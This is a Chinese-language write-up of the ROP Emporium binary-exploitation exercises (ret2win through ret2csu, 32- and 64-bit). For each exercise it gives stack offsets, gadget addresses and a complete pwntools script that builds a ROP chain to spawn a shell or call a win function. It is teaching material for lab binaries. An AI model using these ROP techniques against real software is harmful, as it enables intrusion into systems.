ret2win

实际上就是 ret2text

32位

分析
运行看看
image.png

计算一下栈的大小,得到 44
image.png

在 ret2win 这个函数里面有个后门,输出了 flag.txt,地址是:0x8048659,只要把返回地址覆盖成这个就可以了

image.png

exp

  1. from pwn import *
  2. p=process('./ret2win32')
  3. payload='a'*44+p32(0x8048659)
  4. p.sendline(payload)
  5. p.interactive()

image.png

64位

分析
GDB调试:得到偏移
image.png

IDA分析,依然是有个后门的,地址:0x400811

image.png

exp

  1. from pwn import *
  2. p=process('./ret2win')
  3. pay='a'*40+p64(0x400811)
  4. p.sendline(pay)
  5. p.interactive()

它自己带的flag确实是写的32位

image.png

split

32位

分析
计算偏移:44
image.png

IDA打开搜索字符串,发现 data段有cat flag

image.png

同时有 system 的 plt 地址

exp

  1. from pwn import *
  2. sys_addr=0x8048430
  3. p=process('./split32')
  4. pay='a'*44+p32(sys_addr)+p32(0)+p32(0x804A030)
  5. p.sendline(pay)
  6. p.interactive()

image.png

64位

分析
gdb计算 偏移40

image.png

照样用

image.png

因为 64 位的传参要在寄存器里面,用ROPgadget,找一下pop rdi 的

image.png

exp

  1. from pwn import *
  2. p=process('./split')
  3. pay='a'*40+p64(0x400883)+p64(0x601060)+p64(0x4005E0)
  4. p.sendline(pay)
  5. p.interactive()

image.png

callme

32位

题目说要按照 call callme_one(),callme_two(),callme_three() 的顺序调用执行

To dispose of the need for any RE we’ll tell you the following: You must call callmeone(), callme_two() and callme_three() in that order, each with the arguments 1,2,3 e.g. callme_one(1,2,3) to print the flag. The solution here is simple enough, use your knowledge about what resides in the PLT to call the callme functions in the above order and with the correct arguments. Don’t get distracted by the incorrect calls to these functions made in the binary, they’re there to ensure these functions get linked. You can also ignore the .dat files and the encrypted flag in this challenge, they’re there to ensure the functions must be called in the correct order.

分析
计算偏移:44
image.png

然后想要按照要求去调用他给的三个 call,那三个 call 是在附带的 libc 里面的定义的

image.png

image.png

image.png

根据这三个函数的定义,call_one的三个参数应该是1、2、3
call_two的三个参数应该是:1、2、3
call_three的三个参数应该是:1、2、3

需要三个 pop 来把参数占用的给平衡掉,这样才能保证返回到下一个 call
image.png

exp

  1. from pwn import *
  2. p=process('./callme32')
  3. call_one=0x080485C0
  4. call_two=0x08048620
  5. call_three=0x080485B0
  6. pop_ret=0x080488a9
  7. pay='a'*44+p32(call_one)+p32(pop_ret)+p32(1)+p32(2)+p32(3)
  8. pay+=p32(call_two)+p32(pop_ret)+p32(1)+p32(2)+p32(3)
  9. pay+=p32(call_three)+p32(pop_ret)+p32(1)+p32(2)+p32(3)
  10. p.sendline(pay)
  11. p.interactive()

image.png

64位

分析
image.png

x64 中的前六个参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 中

用 ROPgadget —binary callme —only ‘pop|ret’
完美!gadgets:0x401ab0

image.png

IDA看一下函数地址

image.png

exp

  1. from pwn import *
  2. p=process('./callme')
  3. pop_ret=0x401ab0
  4. call_one=0x401850
  5. call_two=0x401870
  6. call_three=0x401810
  7. pay='a'*40+p64(pop_ret)+p64(1)+p64(2)+p64(3)+p64(call_one)
  8. pay+=p64(pop_ret)+p64(1)+p64(2)+p64(3)+p64(call_two)
  9. pay+=p64(pop_ret)+p64(1)+p64(2)+p64(3)+p64(call_three)
  10. p.sendline(pay)
  11. p.interactive()

image.png

write4

32位

分析
偏移 44
image.png

没有可以用的 /bin/sh 字符串,有 system,可以用 ret2libc,但这个题目目的不在这,尝试自己去写到内存里然后再调用
参考:https://www.jianshu.com/p/d385e23b2a94 tql!

通过 ROPgadget 找到了要用的两段 gadget

image.png

说一下思路:通过 pop edi 和 ebp,把 bss 段的地址和 ‘/bin’ (因为只能放 4 字节),放到这俩寄存器里面
然后通过:mov [edi],ebp 把字符串放到 bss 段,这样放两次,就放完了 “/bin/sh” 了,就可以用 system 来拿到 shell 了
exp

  1. from pwn import *
  2. p = process('./write432')
  3. bss_addr=0x0804A040
  4. system_plt=0x08048430
  5. pop_edi_ebp=0x080486da
  6. mov_edi_ebp=0x08048670
  7. pay ='a'*44+p32(pop_edi_ebp)+p32(bss_addr)+"/bin"+p32(mov_edi_ebp)
  8. pay+=p32(pop_edi_ebp)+p32(bss_addr+4)+"/sh\x00"+p32(mov_edi_ebp)
  9. pay+=p32(system_plt)+p32(0)+p32(bss_addr)
  10. p.sendline(pay)
  11. p.interactive()

image.png

64位

分析
偏移:40
image.png

然后用 ROPgadget 看一下 gadgets,这俩不错

image.png

然后 IDA 看一下:

image.png

同时别忘了,对于 64 位的来说,还需要一个 pop rdi ret 这样的 gadgets

exp

  1. from pwn import *
  2. p=process('./write4')
  3. bss_addr=0x601060
  4. pop_r14_r15=0x400890
  5. mov_r14_r15=0x400820
  6. sys_addr=0x4005E0
  7. pop_rdi=0x400893
  8. pay='a'*40+p64(pop_r14_r15)+p64(bss_addr)+'/bin/sh\x00'+p64(mov_r14_r15)+p64(pop_rdi)+p64(bss_addr)+p64(sys_addr)
  9. p.sendline(pay)
  10. p.interactive()

image.png

badchars

32位

分析
偏移大小为 44
image.png

IDA 看到在 pwnme 函数里面调用了一个 badchars 的函数

image.png

函数定义了上面说的那几个字符,如果遇到就换成 -21

image.png

这就会影响我们写入 /bin/sh,大佬的解决方案是异或!然后再找 gadget 去异或回来!
https://www.jianshu.com/p/5b9abeca9308

image.png

然后,通过这个脚本,来找一下,看一下哪一些可以用来异或

  1. binsh = "/bin/sh\x00"
  2. badchar = [98, 105, 99, 47, 32, 102, 110, 115]
  3. # for i in badchar:
  4. # print chr(i)
  5. xornum = 1
  6. while 1:
  7. for x in binsh:
  8. tem = ord(x) ^ xornum
  9. if tem in badchar:
  10. xornum += 1
  11. break
  12. if x == "\x00":
  13. print xornum
  14. xornum += 1
  15. if xornum == 10:
  16. break

image.png

也就是可以通过 2 或 3 或 5 或 9

exp

  1. from pwn import *
  2. p=process('./badchars32')
  3. sys_addr=0x080484E0
  4. binsh="/bin/sh\x00"
  5. xorbinsh=""
  6. for i in binsh:
  7. xorbinsh += chr(ord(i) ^ 2)
  8. xor_ebx_cl=0x8048890
  9. bss_addr=0x804A044
  10. mov_edi_esi=0x8048893
  11. pop_esi_edi=0x8048899
  12. pop_ebx_ecx=0x8048896
  13. pay='a'*44+p32(pop_esi_edi)+xorbinsh[0:4]+p32(bss_addr)+p32(mov_edi_esi)
  14. pay+=p32(pop_esi_edi)+xorbinsh[4:8]+p32(bss_addr+4)+p32(mov_edi_esi)
  15. for i in range(0,len(xorbinsh)):
  16. pay+=p32(pop_ebx_ecx)
  17. pay+=p32(bss_addr+i)+p32(2)
  18. pay+=p32(xor_ebx_cl)
  19. pay+=p32(sys_addr)+p32(0)+p32(bss_addr)
  20. p.sendline(pay)
  21. p.interactive()

解释一下:首先,跟 write4 的一样,先把想要写到的地址和内容,都 pop 到寄存器,然后,mov 到指定的地址,这样就实现了往 bss 段写/bin/sh的操作了,由于写入的是异或的,在下面挨个取出来,再异或一下还原回来

image.png

64位

分析

偏移:40
image.png

找一下 gadgets

image.png

然后 IDA 看一下:sys_addr=0x4006f0

image.png

exp

  1. from pwn import *
  2. p=process('./badchars')
  3. binsh='/bin/sh\x00'
  4. xorbinsh=""
  5. for i in binsh:
  6. xorbinsh+=chr(ord(i)^2)
  7. pop_r12_r13=0x400b3b
  8. mov_r13_r12=0x400b34
  9. xor_r15_r14=0x400b30
  10. pop_r14_r15=0x400b40
  11. pop_rdi=0x400b39
  12. bss_addr=0x601080
  13. sys_addr=0x4006f0
  14. pay='a'*40+p64(pop_r12_r13)+xorbinsh+p64(bss_addr)+p64(mov_r13_r12)
  15. for x in range(0,len(xorbinsh)):
  16. pay+=p64(pop_r14_r15)+p64(2)+p64(bss_addr+x)+p64(xor_r15_r14)
  17. pay+=p64(pop_rdi)+p64(bss_addr)+p64(sys_addr)
  18. p.sendline(pay)
  19. p.interactive()

image.png

fluff

32位

分析
**
image.png

找一下 gadget,这次没了之前那种 mov 到地址的操作,但是可以使用 xor 先对一个进行归零,然后再用它来把别的给写入,加上—depth 20 搜的更能全面,最高级就是 20 了

image.png

sys_addr=0x8048430

image.png

exp

  1. from pwn import *
  2. p = process('./fluff32')
  3. sys_addr = 0x08048430
  4. bss_addr = 0x804A040
  5. #mov_ecx_edx;pop_ebp;pop_ebx;xor_ecx_bl;ret
  6. gadgets1 = 0x08048693
  7. #xor_edx_edx;pop_esi;mov_ebp_0xcafebabe;ret
  8. gadgets2 = 0x08048671
  9. #xor edx, ebx ; pop ebp ; mov edi, 0xdeadbabe ; ret
  10. gadgets3 = 0x0804867b
  11. pop_ebx = 0x080483e1
  12. #xchg edx, ecx ; pop ebp ; mov edx, 0xdefaced0 ; ret
  13. gadgets4 = 0x08048689
  14. pay='a'*44+p32(gadgets2)+p32(0)#edx=0
  15. pay+=p32(pop_ebx)+p32(bss_addr)+p32(gadgets3)#edx=ebx=bss_addr
  16. pay+=p32(0)+p32(gadgets4)+p32(0)#ecx=bss_addr
  17. pay+=p32(pop_ebx)+"/bin"#ebx='/bin'
  18. pay+=p32(gadgets2)+p32(0)#edx=0
  19. pay+=p32(gadgets3)+p32(0)#edx='/bin'
  20. pay+=p32(gadgets1)+p32(0)+p32(0)#edx -> ecx
  21. pay+=p32(pop_ebx) + p32(bss_addr + 4)#ebx=bss_addr+4
  22. pay+=p32(gadgets2) + p32(0)#edx=0
  23. pay+=p32(gadgets3) + p32(0)#edx=ebx=bss_addr+4
  24. pay+=p32(gadgets4) + p32(0)#ecx=bss_addr+4
  25. pay+=p32(pop_ebx)+"/sh\x00"#ebx='/sh\x00'
  26. pay+=p32(gadgets2)+p32(0)#edx=0
  27. pay+=p32(gadgets3)+p32(0)#edx='/sh\x00'
  28. pay+=p32(gadgets1)+p32(0)+p32(0)#edx -> ecx
  29. pay+=p32(sys_addr)+p32(0)+p32(bss_addr)
  30. p.sendline(pay)
  31. p.interactive()

解释一下:首先用gadgets2把edx置为0,然后把bss_addr给pop到ebx,用xor edx,ebx 来把bss_addr传给edx
再用 gadgets4 把edx的内容给 ecx,再用pop把字符串 pop到ebx,先xor edx,edx 为0,再与ebx异或,使得edx为ebx的内容,在用gadgets1 把edx写到ecx也就是bss_addr

另外说一下:那个gadgets4,我找到的是0x08048686,可能是因为机器码的偏移导致0x08048689成了xchg

补:可以用ROPgadget搜到(这是另一个的截图)
image.png

太妙了,太强了!!!Orz…

image.png

64位

分析
屏幕都放不过来了
image.png
image.png

然后除了需要多用一个 pop_rdi没区别了

exp

  1. from pwn import *
  2. p = process('./fluff')
  3. binsh = "/bin/sh\x00"
  4. sys_addr = 0x4005E0
  5. bss_addr = 0x601060
  6. pop_rdi = 0x00000000004008c3
  7. #mov r10, r11 ; pop r13 ; pop r12 ; xor r10, r12 ; ret
  8. gadget1 = 0x000000000040084e
  9. #pop r15 ; mov r10, r11 ; pop r13 ; pop r12 ; xor r10, r12 ; ret
  10. gadget2 = 0x000000000040084c
  11. #xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
  12. gadget3 = 0x0000000000400822
  13. #xor r11, r12 ; pop r12 ; mov r13, 0x604060 ; ret
  14. gadget4 = 0x000000000040082f
  15. #xchg r11, r10 ; pop r15 ; mov r11, 0x602050 ; ret
  16. gadget5 = 0x0000000000400840
  17. #pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
  18. gadget6 = 0x00000000004008bc
  19. pay='a'*40+p64(gadget6)+p64(bss_addr)+p64(0)+p64(0)+p64(0)#bss_addr->r12
  20. pay+=p64(gadget3)+p64(0)+p64(gadget4)+p64(0)#bss_addr->r11
  21. pay+=p64(gadget5)+p64(0)#bss_addr->r10
  22. pay+=p64(gadget6)+binsh+p64(0)+p64(0)+p64(0)#binsh->r12
  23. pay+=p64(gadget3)+p64(0)+p64(gadget4)+p64(0)#binsh->r11
  24. pay+=p64(gadget1)+p64(0)+p64(0)
  25. pay+=p64(pop_rdi)+p64(bss_addr)+p64(sys_addr)
  26. p.sendline(pay)
  27. p.interactive()

思路:首先通过gadget6把bss段的地址给放到r12,然后通过gadget3把r11置为0,再用gadget4异或一下,把bss段的地址给放到r11,然后通过gadget5把bss段的地址放到r10,到这里就让它在r10就好了

然后在通过上述步骤,只是把/bin/sh这串字符串放在r11就可以,最后通过gadget1把r11的字符串放到r10的bss段去

然后在通过pop_rdi把参数放在 rdi,给system使用

image.png

pivot

32位

给的那个 libc 里面有个 ret2win,如果可以调用他的话就能打印出flag,而libc 里面的ret2win和foothold_function之间的偏移是不变的,知道了foothold_function就能找到 ret2win的地址

在程序里面有两次输入,第一次会把 al 的地址给打印出来,意思是让你把栈迁移到这个地方:

image.png

leave_ret,用来进行栈迁移

image.png

分别放offset和foothold_function的got表项

image.png

通过它把foothold_function的got表项中存的foothold_function的实际的地址放到eax

image.png

eax 是 foothold_function 的实际地址,ebx 是 ret2win 相对于 foothold_function 的 offset,相加得到 ret2win 的实际地址

image.png

用来调用ret2win

image.png

exp

  1. from pwn import *
  2. p=process("./pivot32")
  3. elf=ELF('./pivot32')
  4. lib_elf=ELF('./libpivot32.so')
  5. leave_ret=0x80486a8
  6. pop_eax=0x080488c0
  7. pop_ebx=0x08048571
  8. add_eax_ebx=0x080488c7
  9. mov_eax_addr=0x080488c4
  10. call_eax=0x080486a3
  11. func_plt=elf.plt['foothold_function']
  12. func_got=elf.got['foothold_function']
  13. foothold_index=lib_elf.symbols['foothold_function']
  14. ret2win_index=lib_elf.symbols['ret2win']
  15. offset=int(ret2win_index-foothold_index)
  16. p.recvuntil("place to pivot: ")
  17. fake_ebp=int(p.recv(10),16)
  18. payload1=p32(func_plt)
  19. payload1+=p32(pop_eax)
  20. payload1+=p32(func_got)
  21. payload1+=p32(mov_eax_addr)
  22. payload1+=p32(pop_ebx)
  23. payload1+=p32(offset)
  24. payload1+=p32(add_eax_ebx)
  25. payload1+=p32(call_eax)
  26. p.recvuntil('> ')
  27. p.sendline(payload1)
  28. payload2='a'*40+p32(fake_ebp-4)+p32(leave_ret)
  29. p.recvuntil('> ')
  30. p.sendline(payload2)
  31. p.interactive()

image.png

64位

xchg 专门有这个指令搜索的嗷,可以通过它把rsp的值改成 rax的,这样可以代替 leave_ret

image.png

  1. from pwn import *
  2. p=process("./pivot")
  3. elf=ELF('./pivot')
  4. lib_elf=ELF('./libpivot.so')
  5. func_plt=elf.plt['foothold_function']
  6. func_got_plt=elf.got['foothold_function']
  7. foothold_sym=lib_elf.symbols['foothold_function']
  8. ret2win_sym=lib_elf.symbols['ret2win']
  9. offset=int(ret2win_sym-foothold_sym)
  10. leave_ret=0x0400a39
  11. mov_rax_rax=0x0400b05
  12. pop_rax=0x0400b00
  13. pop_rbp=0x0400900
  14. add_rax_rbp=0x0400b09
  15. xchg_rax_rsp = 0x0400b02
  16. call_rax=0x040098e
  17. leakaddr = int(p.recv().split()[20], 16)
  18. payload1=p64(func_plt)
  19. payload1+=p64(pop_rax)
  20. payload1+=p64(func_got_plt)
  21. payload1+=p64(mov_rax_rax)
  22. payload1+=p64(pop_rbp)
  23. payload1+=p64(offset)
  24. payload1+=p64(add_rax_rbp)
  25. payload1+=p64(call_rax)
  26. p.sendline(payload1)
  27. payload2='A'*40
  28. payload2 += p64(pop_rax)
  29. payload2 += p64(leakaddr)
  30. payload2 += p64(xchg_rax_rsp)
  31. p.sendline(payload2)
  32. p.interactive()

image.png

ret2csu

计算偏移:40
image.png

关于ret2csu 原理可以看:知识库里的

根据题目的要求,,去call ret2win 同时,rdx必须是0xdeadcafebabebeef

image.png

exp

  1. from pwn import *
  2. p=process('ret2csu')
  3. elf=ELF('ret2csu')
  4. csu_front_addr=0x400880
  5. csu_end_addr=0x40089a
  6. ret2win = 0x4007b1
  7. init_pointer= 0x0600E10
  8. puts_got = elf.got['puts']
  9. def csu(rbx, rbp, r12, r13, r14, r15, last):
  10. # pop rbx,rbp,r12,r13,r14,r15
  11. # rbx should be 0,
  12. # rbp should be 1,enable not to jump
  13. # r12 should be the function we want to call
  14. # rdi=edi=r15d
  15. # rsi=r14
  16. # rdx=r13
  17. payload = 'a'*40
  18. payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
  19. payload += p64(csu_front_addr)
  20. payload += 'a' * 0x38
  21. payload += p64(last)
  22. p.sendline(payload)
  23. p.interactive()
  24. csu(0,1,init_pointer,0,0,0xdeadcafebabebeef,ret2win)

image.png